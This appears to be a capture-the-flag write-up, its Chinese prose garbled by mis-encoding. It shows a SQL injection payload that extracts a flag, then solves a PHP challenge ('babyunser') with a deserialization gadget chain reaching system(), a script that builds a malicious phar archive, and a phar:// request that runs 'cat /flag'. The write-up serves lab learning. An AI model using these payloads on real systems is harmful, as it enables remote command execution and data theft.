wllm=-1'/**/union/**/select/**/1,mid((select/**/flag/**/from/**/LTLT_flag/**/limit/**/0,1),40),3%23
ๅฏไปฅๅพๅฐ -430e-961b-ab03b3fb
ๅ 2d32}
ๆผ่ตทๆฅๅฐฑๆฏ flag ไบใ
babyunser
่ฟๅ
ฅ้ข็ฎๅๅฏไปฅ็่ง ไธไผ ๆไปถ
ๅ ๆฅ็ๆไปถ
ไธคไธชๅ
ฅๅฃ๏ผ็ป่ฟไธ็ชๆธ็ดขๅ๏ผๅจ ๆฅ็ๆไปถ
ๅค่พๅ
ฅ read.php
ๅฏไปฅ็ๅฐ่ฏฅๆไปถ็ๆบไปฃ็ ๏ผๅฏไปฅๅ็ฐ่ฟๅญๅจไธไธชๆไปถ class.php
ๅฆไธ
Copy <?php
class aa{
public $name;
public function __construct(){
$this->name='aa';
}
public function __destruct(){
$this->name=strtolower($this->name);
}
}
class ff{
private $content;
public $func;
public function __construct(){
$this->content="\<?php @eval(\$_POST[1]);?>";
}
public function __get($key){
$this->$key->{$this->func}($_POST['cmd']);
}
}
class zz{
public $filename;
public $content='surprise';
public function __construct($filename){
$this->filename=$filename;
}
public function filter(){
if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
die('่ฟไธๅ็');
}
}
public function write($var){
$filename=$this->filename;
$lt=$this->filename->$var;
//ๆญคๅ่ฝๅบๅผ๏ผไธๆณๅไบ
}
public function getFile(){
$this->filter();
$contents=file_get_contents($this->filename);
if(!empty($contents)){
return $contents;
}else{
die("404 not found");
}
}
public function __toString(){
$this->{$_POST['method']}($_POST['var']);
return $this->content;
}
}
class xx{
public $name;
public $arg;
public function __construct(){
$this->name='eval';
$this->arg='phpinfo();';
}
public function __call($name,$arg){
$name($arg[0]);
}
}
้พๅญๅฆไธ
Copy <?php
class aa{
public $name;
public function setName($name)
{
$this->name = $name;
}
public function __construct(){
$this->name='aa';
}
public function __destruct(){
$this->name=strtolower($this->name);
}
}
class ff{
private $content;
public function setContent($content)
{
$this->content = $content;
}
public $func;
public function setFunc($func)
{
$this->func = $func;
}
public function __construct(){
$this->content="\<?php @eval(\$_POST[1]);?>";
}
public function __get($key){
$this->$key->{$this->func}($_POST['cmd']);
}
}
class zz{
public $filename;
public function setFilename($filename)
{
$this->filename = $filename;
}
public $content='surprise';
public function __construct($filename){
$this->filename=$filename;
}
public function filter(){
if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
die('่ฟไธๅ็');
}
}
public function write($var){
$filename=$this->filename;
$lt=$this->filename->$var;
//ๆญคๅ่ฝๅบๅผ๏ผไธๆณๅไบ
}
public function getFile(){
$this->filter();
$contents=file_get_contents($this->filename);
if(!empty($contents)){
return $contents;
}else{
die("404 not found");
}
}
public function __toString(){ // L10
$this->{$_POST['method']}($_POST['var']);
return $this->content;
}
}
class xx{
public $name;
public $arg;
public function __construct(){
$this->name='eval';
$this->arg='phpinfo();';
}
public function __call($name,$arg){
$name($arg[0]);
}
}
$aa = new aa();
$ff = new ff();
$xx = new xx();
$ff->setContent($xx);
$ff->setFunc('system');
$zz = new zz($ff);
$aa->name = $zz;
$phar = new Phar('1.phar');
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($aa);
$phar->addFromString("test.txt", "text");
$phar->stopBuffering();
Payload ๅฆไธ
Copy file=phar://upload/25cb04b89bbe7007013ec2171ab27333.txt&method=write&var=content&cmd=cat /flag